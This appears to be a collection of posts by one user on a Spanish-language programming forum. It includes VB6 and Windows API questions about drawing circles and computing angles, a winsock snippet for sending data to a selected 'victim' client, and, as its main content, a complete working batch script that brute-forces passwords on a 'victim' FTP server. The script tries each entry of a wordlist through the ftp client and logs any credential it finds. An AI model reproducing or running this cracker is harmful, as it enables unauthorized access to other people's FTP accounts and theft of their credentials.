Mensajes

graxias.

hola kisiera dibujar circulos con un determinado color en una ventana externa, encontre el api ArcAngle, pero esta api no especifica en sus parametrtos el color sino que usa el color que tenga predefinido esa ventana (negro), lei que con createpen se cambia el color y pincel por defecto de la ventana , pero no quisiera cambiar el pincel por defecto que tiene la ventana , ¿sabran alguna api que haga lo mismo que ArcAngle, es decir circulos y especifique el color sin tener que cambiar el pincel predefinido?

-quisiera dibujar solo la linea del circulo sin rellenar el centro, es decir si hubiera una imagen o color en la ventana, el circulo no deberia tapar a esa imagen o color.

gracias me sirvio de mucho.

Holas tengo unas imagenes como estas:






tienen un punto azul en un lugar,debo hallar el angulo (0 - 360) en que se encuentran los puntos azules,en la primera parece mas o menos 280 grados, en la segunda imagen se puede sacar que el angulo es 90 con solo mirar,  por ahora hice un codigo que usa el api get pixel para buscar el punto azul y me devuelven el x,y donde se encuentra el punto, ¿que funcion o formula podria usar para obtener el angulo a partir de esas coordenadas en VB 6.0?

las dll de vb son dll COM, y esas solo funcionan con programas de visual basic, no se ejecutan como las dll estandar hechas en c++ que tienen un dllmain, por eso no puedes. pero puedes usar el programa vb advanced, que permite que tus dll se creen como si fueran estandar.

no hay problema, subelo.

para la proxima pongo un diccionario...  , o mejor para la proxima saco un generador de palabras para hacer un diccionario.
salu2

hola hice este crackeador 100% en .bat , ya lo probe y funciona bien, algunas imagenes:

menu principal
http://www.imagecross.com/11/image-hosting-view-64.php?id=1123Menu.jpg

ingreso de datos
http://www.imagecross.com/11/image-hosting-view-64.php?id=4315Inicio.jpg

clave descifrada
http://www.imagecross.com/11/image-hosting-view-64.php?id=3898Password.jpg

ahora el codigo

Código [Seleccionar] Expandir

@ echo off
title Crackeador - FTP :::::::: AlxSpy
color 0a
set cont=0
set num=1
md C:\Crackeador-FTP\
md C:\Crackeador-FTP\Login
md C:\Crackeador-FTP\Residuo
md C:\Crackeador-FTP\Password
del /q C:\Crackeador-FTP\Login
del /q C:\Crackeador-FTP\Residuo
:Menu
set opcion=4
cls
echo.
echo                        Menu Principal
echo.
echo.
echo                        Opciones:
echo.
echo.
echo                       1-Leeme, instrucciones
echo                       2-Iniciar crackeador
echo                       3-Salir
echo.
echo ___________________________________________________________________
set /p opcion=
if "%opcion%" == "1" goto Manual
if "%opcion%" == "2" goto Inicio
if "%opcion%" == "3" (goto Salida) else goto menu

:Manual
cls
echo.
echo                       Leeme, instrucciones
echo.
echo.
echo              -Para hacer el Diccionario-listword, agrega
echo               tu lista de claves en tu fichero de texto:
echo               ".txt", debes agregar un salto de linea o
echo               [ENTER] al inicio de la lista y al final de
echo               la lista porque elprograma tomara la lista
echo               a partir de segunda linea hasta la penultima.
echo              -El nombre del fichero puede o no contener
echo               espacios.
echo              -Para detener el programa debes cerrar la
echo               consola.
echo              -Todos los ficheros que usa el programa estan
echo               en "C:\Crackeador-FTP", no quedara
echo               ningun fichero residuo en tus directorios
echo               principales, solo debes borrar:
echo               "C:\Crackeador-FTP" al terminar el prgrama.
echo              -La clave-password descifrado sera mostrado
echo               en la consola y almacenado en:
echo               "C:\Crackeador-FTP\Password"
echo.
echo.
echo              Pulsa una tecla para volver al menu principal
pause>nul
goto Menu
:Inicio
cls
echo.
echo                      Iniciar Crackeador [Paso 1/2]
echo.
echo.
echo             Para cancelar y volver al menu principal pulsa "C"
echo.
echo ___________________________________________________________________
set /p host=Ingresa el servidor FTP victima:
if "%host%" == "c" goto Menu
if "%host%" == "C" goto Menu
echo.
echo ___________________________________________________________________
set /p user=Ingresa el usuario victima:
if "%user%" == "c" goto Menu
if "%user%" == "C" goto Menu
echo.
echo ___________________________________________________________________
set /p dic=Ruta completa del Diccionario:
if "%dic%" == "c" goto Menu
if "%dic%" == "C" goto Menu
if exist "%dic%" (goto Inicio2) else goto error1
:error1
cls
echo.
echo          Error, no se encontro el fichero:
echo          "%dic%"
echo.
echo.
echo          Pulsa una tecla para volver
pause>nul
goto Inicio
:Inicio2
set opcion=4
copy /y "%dic%" C:\Crackeador-FTP\Diccionario.txt
ren C:\Crackeador-FTP\Diccionario.txt lista.txt
ren C:\Crackeador-FTP\lista.txt Diccionario.txt
echo FIN>>C:\Crackeador-FTP\Diccionario.txt
cls
echo.
echo                      Iniciar Crackeador [Paso 2/2]
echo.
echo.
echo         Datos y diccionario listos
echo         ¿Desea iniciar el crackeador ahora?
echo.
echo         1-Si
echo         2-No, volver al paso anterior
echo         3-No, volver al menu principal
echo.
echo ___________________________________________________________________
set /p opcion=
if "%opcion%" == "1" goto proceso
if "%opcion%" == "2" goto Inicio
if "%opcion%" == "3" (goto Menu) else goto Inicio2
:Proceso
set /a cont=%cont%+%num%
for /f "skip=%cont% tokens=1" %%a in (C:\Crackeador-FTP\Diccionario.txt) do call :Pass "%%a"
:Pass
set Pass=%1
set Pass=%Pass:"=%
if "%Pass%" == "FIN" (goto Fin) else goto Screen
:Screen
del /q C:\Crackeador-FTP\Login\Login.txt
del /q C:\Crackeador-FTP\Residuo\Residuo.txt
cls
echo.
echo.
echo                        Probando Password %cont%...
echo.
echo %user%>>C:\Crackeador-FTP\Login\Login.txt
echo %Pass%>>C:\Crackeador-FTP\Login\Login.txt
echo bye>>C:\Crackeador-FTP\Login\Login.txt
ftp -s:C:\Crackeador-FTP\Login\Login.txt %host%>>C:\Crackeador-FTP\Residuo\Residuo.txt
if exist C:\Crackeador-FTP\Residuo\Residuo.txt (goto CheckResult) else goto error2
:error2
msg *msg Fallo el comando FTP
cls
echo.
echo.
echo                           Fallo el comando FTP
echo.
echo.
echo              Pulse una tecla para volver al menu principal
pause>nul
goto Menu
:CheckResult
for /f "skip=5 tokens=1" %%a in (C:\Crackeador-FTP\Residuo\Residuo.txt) do call :txt "%%a"
:txt
set txt=%1
set txt=%txt:"=%
if "%txt%" == "530" (goto proceso) else goto Password
:Password
msg *msg Password localizado
cls
echo.
echo.
echo                            Password localizado
echo.
echo.
echo                         Servidor victima: %host%
echo                         Usuario victima: %user%
echo                         Password victima: %Pass%
echo.
echo.
echo               Pulse una tecla para volver al menu principal
pause>nul
echo Servidor: %host% / Usuario: %user% / Clave: %Pass%>>C:\Crackeador-FTP\Password\UsuariosyClaves.txt
goto Reset
:Fin
msg *msg Fin de busqueda sin resultados
goto reset
:Reset
set cont=0
del /q C:\Crackeador-FTP\*.txt
del /q C:\Crackeador-FTP\Login\*.txt
del /q C:\Crackeador-FTP\Residuo\*.txt
goto Menu
:Salida
exit

holas no se si alguien sabra de algun servidor ftp gratuito al que se pueda acceder mediante la consola de windows o cualquier otro programa cliente ftp? , anteriormente estaba registrado en ftp.geocities  y ftp.fortunecity pero uno esta offline y el otro falla y ni me deja registrarme de nuevo, llevo bastante rato buscando pero solo encuentros alojamiento web a los que solo se puede acceder por navegador de internet como megaupload , pero ninguno se puede acceder por consola.

seguro que estas usando arrays de winsock. el listview debe tener una prop. que indique el index del elemento de la lista que hayas seleccionado, algo como el listbox y su prop. listindex, pues podrias usar esa prop. para indicar cual de todos los elementos del array winsock debe enviar datos al clickear sobre a tu victima en el listview, algo asi hice pero con el listbox:

Código (VB) [Seleccionar] Expandir

dim x as integer
x=list1.listindex
winsock(x).senddata "DATO"